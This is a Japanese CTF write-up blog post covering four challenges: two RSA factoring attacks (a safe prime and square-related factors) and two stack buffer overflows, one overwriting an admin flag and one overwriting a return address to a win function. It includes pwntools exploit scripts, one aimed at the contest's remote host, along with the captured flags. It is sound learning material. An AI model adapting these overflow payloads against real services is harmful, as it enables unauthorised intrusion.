CTF初参加。先輩方と一緒にチームを組んで挑みました。
0b1111111位。キリいい順位で満足。チームがといた8問(welcome除く)のうち自分がといた4問のwriteupやります。(自分が記憶失った後に来てもわかるくらい丁寧に書きます)
概要
Challenge Log
| Challenge | Category | Rank | Date |
|---|---|---|---|
| Welcome | welcome | 35 | 2024-06-15T05:00:54.06Z |
| simpleoverflow | pwnable | 429 | 2024-06-15T08:47:10.935Z |
| Safe Prime | crypto | 188 | 2024-06-15T09:57:11.385Z |
| getRank | misc | 218 | 2024-06-15T13:10:07.101Z |
| wooorker | web | 124 | 2024-06-15T16:29:44.037Z |
| simpleoverwrite | pwnable | 208 | 2024-06-15T16:58:43.142Z |
| wooorker2 | web | 73 | 2024-06-15T22:58:51.181Z |
| assemble | reversing | 156 | 2024-06-16T04:46:31.366Z |
| math | crypto | 119 | 2024-06-16T04:50:13.953Z |
実行環境
WSL 2 Ubuntu 23.10
python 3.11.6
pip 24.0
- gmpy2 2.1.5
- sympy 1.12.1
- pycryptodome 3.20.0
- pwntools 4.12.0
writeup
Safe Prime / crypto
問題概要
Using a safe prime makes RSA secure, doesn't it?
chall.py
import os
from Crypto.Util.number import getPrime, isPrime
FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')
while True:
p = getPrime(512)
q = 2 * p + 1
if isPrime(q):
break
n = p * q
e = 65537
c = pow(m, e, n)
print(f"{n = }")
print(f"{c = }")
RSA暗号の問題です。安全素数というやつを$p, q$に使っています。$q = 2p + 1$ですね。
与えられている情報: $N, e, C$
解法
$N = pq, q=2p+1$なので、
\displaylines{
\begin{align}
N &= p(2p + 1)\\
N &= 2p^2 + p\\
0 &= 2p^2 + p - N\\
\end{align}
}
この式を$p$について解けば$p$が求まりそうです
最初$\phi(N) = N - 3p$という式で頑張ってましたが解けませんでした。
攻撃スクリプト
script.py
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import gmpy2
import sympy
# 与えられた値
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
e = 65537
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
p = sympy.Symbol('p')
p = int(sympy.solve(2 * p ** 2 + p - n)[1]) # 正の数だけ取り出す
q = n // p
assert isPrime(p) and isPrime(q)
assert p != q
assert p * q == n
assert 2 * p + 1 == q
# RSA秘密鍵を生成し、復号
d = inverse(e, (p - 1) * (q - 1))
message = pow(c, d, n)
print(long_to_bytes(message))
実行結果
b'ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}'
math / crypto
問題概要
RSA暗号に用いられる変数に特徴的な条件があるようですね...?
chal.py
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
x,
p,
q,
) # x, p, q are secret values, please derive them from the provided other values.
import gmpy2
def is_square(n: int):
return gmpy2.isqrt(n) ** 2 == n
assert isPrime(p)
assert isPrime(q)
assert p != q
a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)
n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")
# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
Safe Primeと同じくRSA暗号の問題です。
素数$p, q$に関して
\displaylines{
a=p-x\\
b=q-x\\
a\equiv0\mod r\\
b\equiv0\mod s
}
となっています($a, b, x$は平方数)。
与えられている情報: $N, e, C, ab, r, s$
解法
$a, b$がともに平方数なので、$ab$も平方数になります。素因数分解結果:
ab = (3\times173\times199\times306606827773\times r\times s)^2
素因数分解にはfactordb.comを用いました。
ここから総当たりで$a,b$を求めます。
$a,b$が正しい組み合わせかどうかの判定には$x$が平方数であるという性質を利用します。$p = a+x, q=b+x$なので、
\displaylines{
\begin{align}
N &= (a+x)(b+x)\\
N &= x^2+(a+b)x+ab\\
N &= (x+\frac{a+b}{2})^2-\frac{(a+b)^2}{4}+ab\\
N-ab+\frac{(a+b)^2}{4}&=(x+\frac{a+b}{2})^2\\
\sqrt{N-ab+\frac{(a+b)^2}{4}}&=x+\frac{a+b}{2}\\
x&=\sqrt{N-ab+\frac{(a+b)^2}{4}}-\frac{a+b}{2}
\end{align}
}
この式に$a, b$を当てはめて、$x$が平方数かどうかを確かめることで$a, b$の正誤判定をします。あとはここから$p = a + x, q = b + x$で$p, q$を求め、$C$を複合化すればフラグが出ます。
攻撃スクリプト
script.py
import gmpy2
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import itertools
import math
# 与えられた値
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
factor_a = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
factor_b = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661
def get_x(a, b):
x = gmpy2.isqrt(n - ab + ((a + b) ** 2) // 4) - (a + b) // 2
return x
def find_a_b(factors):
# 初期のa, b, xを計算
a = factor_a ** 2
b = ab // a
x = get_x(a, b)
if not gmpy2.is_square(x): # xが平方数ではなかったらaを総当たり
for i in range(1, len(factors) + 1):
for c in itertools.combinations(factors, i):
a = (factor_a * math.prod(c)) ** 2 # aを計算
b = ab // a # aからbを求める
x = get_x(a, b)
if gmpy2.is_square(get_x(a, b)): # xが平方数ならreturn
return a, b, x
print('a, bが見つかりませんでした')
return None, None, None
return a, b, x
if __name__ == '__main__':
# ab の素因数分解を行い、a と b の候補を見つける
factors = [3, 173, 199, 306606827773]
assert ab == (factor_a * factor_b * math.prod(factors)) ** 2
# xが平方数となるようなa, bを求める
a, b, x = find_a_b(factors)
assert a * b == ab
assert a % factor_a == 0
assert b % factor_b == 0
assert gmpy2.is_square(a)
assert gmpy2.is_square(b)
p = a + x
q = b + x
assert isPrime(p)
assert isPrime(q)
assert p != q
assert p * q == n
# RSA 秘密鍵を生成し、復号
d = inverse(e, (p - 1) * (q - 1))
message = pow(cipher, d, n)
print(long_to_bytes(message))
実行結果
b'ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}'
別解(ズル)
実は$N$をfactordb.comに突っ込むと
素因数分解できちゃいます。
あとは普通にRSA解けばFLAG出ます。
誰か登録した…？
simpleoverflow / pwnable
問題概要
Cでは、0がFalse、それ以外がTrueとして扱われます。
nc simpleoverflow.beginners.seccon.games 9000
src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
タイトルの通り、バッファオーバーフローの問題です。
与えられている情報: 本番環境での実行ファイル(./chall)
解法
コードをザーッとみてみると、readでbufに最大0x10文字(10進数では16文字)を書き込めますが、bufの定義は最大10文字。6文字分差異があります(0x10と10が紛らわしいけど10進数表記に直すと16文字と10文字) 。ここでバッファオーバーフローが使えそうですね。
コードを見ると、変数bufを定義した後に変数is_adminを定義しているので、あふれたデータはここに入りそうです。問題の説明文にある通り、C言語では0をFalse,それ以外をTrueとして扱います。バッファオーバーフローでis_adminに非ゼロの値を入れることで、./flag.txtの中身を見ることができます。
攻撃スクリプト
script.py
from pwn import *
io = process('./chall')
io.recvuntil(b'name:')
io.sendline(b'A' * 11) # 適当な文字(A)を10文字以上入れる
io.recvline()
io.recvline()
print(io.recvline()) # フラグを表示
実行結果
[+] Starting local process './chall': pid 22134
b'ctf4b{0n_y0ur_m4rk}\n'
[*] Process './chall' stopped with exit code 0 (pid 22134)
simpleoverwrite / pwnable
問題概要
スタックとリターンアドレスを確認しましょう
nc simpleoverwrite.beginners.seccon.games 9001
src.c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
char buf[100];
FILE *f = fopen("./flag.txt", "r");
fgets(buf, 100, f);
puts(buf);
}
int main() {
char buf[10] = {0};
printf("input:");
read(0, buf, 0x20);
printf("Hello, %s\n", buf);
printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
タイトルや説明からわかる通り、リターンアドレスオーバーライトの問題です。
与えられている情報: 実行ファイル(./chall)
解法
コードを見ると、buf(最大10文字)にreadで最大0x20文字入れられることがわかります。ここでオーバーフローできますね。win関数で./flag.txtを表示しているので、main関数のリターンアドレスにwin関数のアドレスを指定すれば解けそうです。win関数のアドレスを確認してみましょう。
gdb ./chall
gdb-peda$ b win
Breakpoint 1 at 0x40118a
gdb-peda$
win関数は0x40118aにあるみたいです。
コードでは、
printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
となっているので、bufの18バイト後がリターンアドレスを格納する場所だと推測できます。
適当な18文字を入れた後、win関数のアドレス0x40118aを入れればよさそうですね。
./challが本番環境の実行ファイルであることに気づかず、ずっと自分の環境でコンパイルしたやつ解析してました…
おかげで3時間潰れました…
攻撃スクリプト
script.py
from pwn import *
io = remote('simpleoverwrite.beginners.seccon.games', 9001)
win = 0x401186
win = p64(win)
attack_str = b'A' * 18 + win
io.recvuntil(b'input:')
io.sendline(attack_str)
io.recvline()
io.recvline()
print(io.recvline())
実行結果
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
b'ctf4b{B3l13v3_4g41n}\n'
[*] Closed connection to simpleoverwrite.beginners.seccon.games port 9001
感想
CTF初参加。わかんないことだらけでしたが、自分で試行錯誤しながら問題に取り組み、様々なトライを通して学びを深めることがすごくおもしろかったです。
他のCTFにも参加して、どんどん力付けていきたいなと思います。